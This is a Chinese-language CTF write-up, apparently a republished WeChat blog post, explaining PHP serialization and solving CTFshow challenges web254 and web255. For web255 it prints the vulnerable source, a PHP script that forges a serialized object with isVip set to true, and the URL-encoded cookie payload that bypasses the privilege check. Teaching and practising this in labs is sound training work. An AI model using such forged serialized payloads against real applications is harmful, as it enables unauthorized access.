文章总结: 本文深入解析PHP反序列化漏洞原理,结合CTFshow靶场web254与web255实战案例,演示如何构造恶意序列化字符串篡改对象属性isVip,从而绕过登录验证获取Flag。文章涵盖序列化基础、代码审计分析与Payload构造技巧,为初学者提供反序列化漏洞攻击思路与实战参考。 综合评分: 76 文章分类: CTF,WEB安全,漏洞分析,代码审计,渗透测试
不妨练练反序列化漏洞
原创
Caigensec
菜根网络安全杂谈
2025年3月3日 12:16 安徽
点击标题下「蓝色微信名」可快速关注
免责声明:本文仅用于合法范围的学习交流,若使用者将本文用于非法目的或违反相关法律法规的行为,一切责任由使用者自行承担。请遵守相关法律法规,勿做违法行为!本公众号尊重知识产权,如有侵权请联系我们删除。
01
反序列化是什么
1、了解什么是序列化
序列化是将数据结构或对象状态转换为可以存储或传输的格式的过程,通常是转换为字节流、字符序列或其他特定格式,以便在需要时能够在相同或不同的环境中重新创建出具有相同状态的对象或数据结构。
(1)实现跨平台和跨语言的数据交互
通过将数据序列化为一种通用的格式,如 JSON 或 XML,不同的系统和语言就可以方便地进行数据交换。
(2)提升数据传输效率
在网络传输中,将数据序列化为紧凑的格式可以减少数据的传输量,提高传输效率。特别是对于大量的数据或复杂的对象结构,序列化可以对数据进行优化和压缩,使其更适合在网络上传输。
(3)支持对象状态的保存和恢复
在程序运行过程中,对象的状态可能会发生变化。通过序列化,可以将对象在某个时刻的状态保存下来,然后在需要的时候恢复到该状态。这对于实现程序的断点续传、状态回滚等功能非常有用。
2、反序列化是什么
反序列化是与序列化相反的过程,是指将已经序列化后的数据(如字节流、字符序列等)重新转换为内存中的数据结构或对象的操作。
反序列化是一种数据恢复技术,它将存储在文件、数据库、网络传输中的序列化数据,按照特定的规则重新构建成内存中的数据对象或数据结构,就像把之前拆解并运输过来的零件,按照原来的标识和位置信息重新组装成原来的物体,使数据恢复到其在内存中的原始状态,以便程序能够继续对其进行处理和操作。
02
反序列化漏洞学习
1、CTF show靶场web254题
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
(1)解题思路
代码分析:题目中的ctfShowUser类默认设置username和password为'xxxxxx'。login方法会检查输入的用户名和密码是否与这些默认值匹配,如果匹配成功,会将isVip设为true。
条件触发:当login方法返回true后,checkVip方法会检查isVip是否为true,若为真则调用vipOneKeyGetFlag方法输出flag。
Payload构造:使用默认的username和password值'xxxxxx'进行登录即可满足所有条件,触发flag的输出。
(2)解题步骤
构造GET请求:在URL中添加参数username和password,均设置为xxxxxx。
发送请求:访问构造好的URL,服务器验证通过后返回flag。
(3)解题代码
https://xx.challenge.ctf.show/?username=xxxxxx&password=xxxxxx
2、CTF show靶场web255题
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
(1)解题思路
代码分析:ctfShowUser类的login方法仅验证用户名和密码,不再设置isVip为true。isVip的值必须直接来自反序列化的对象。
反序列化漏洞:通过篡改序列化字符串中的isVip属性为true,绕过权限检查。
双重验证:需同时满足login验证(正确的用户名密码)和isVip为true。
(2)解题步骤
生成恶意序列化对象:创建一个ctfShowUser对象,设置isVip为true,并序列化该对象。
设置Cookie:将序列化字符串作为user的Cookie值。
发送请求:通过GET参数传递正确的用户名和密码,触发逻辑获取flag。
(3)解题代码
<?php
//highlight_file(__FILE__);
$a=123;
class ctfShowUser{
public $username = 'xxxxxx';
public $password = 'xxxxxx';
public $isVip = true;
}
$a = new ctfShowUser();
echo serialize($a);
?>
获得序列化的代码
O:11:”ctfShowUser”:3:{s:8:”username”;s:6:”xxxxxx”;s:8:”password”;s:6:”xxxxxx”;s:5:”isVip”;b:1;}
对获取的代码进行url编码
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
获得CTF Flag
THE END
亲爱的朋友,若你觉得文章不错,请点击关注。你的关注是笔者创作的最大动力,感谢有你!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:菜根网络安全杂谈 Caigensec《不妨练练反序列化漏洞》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论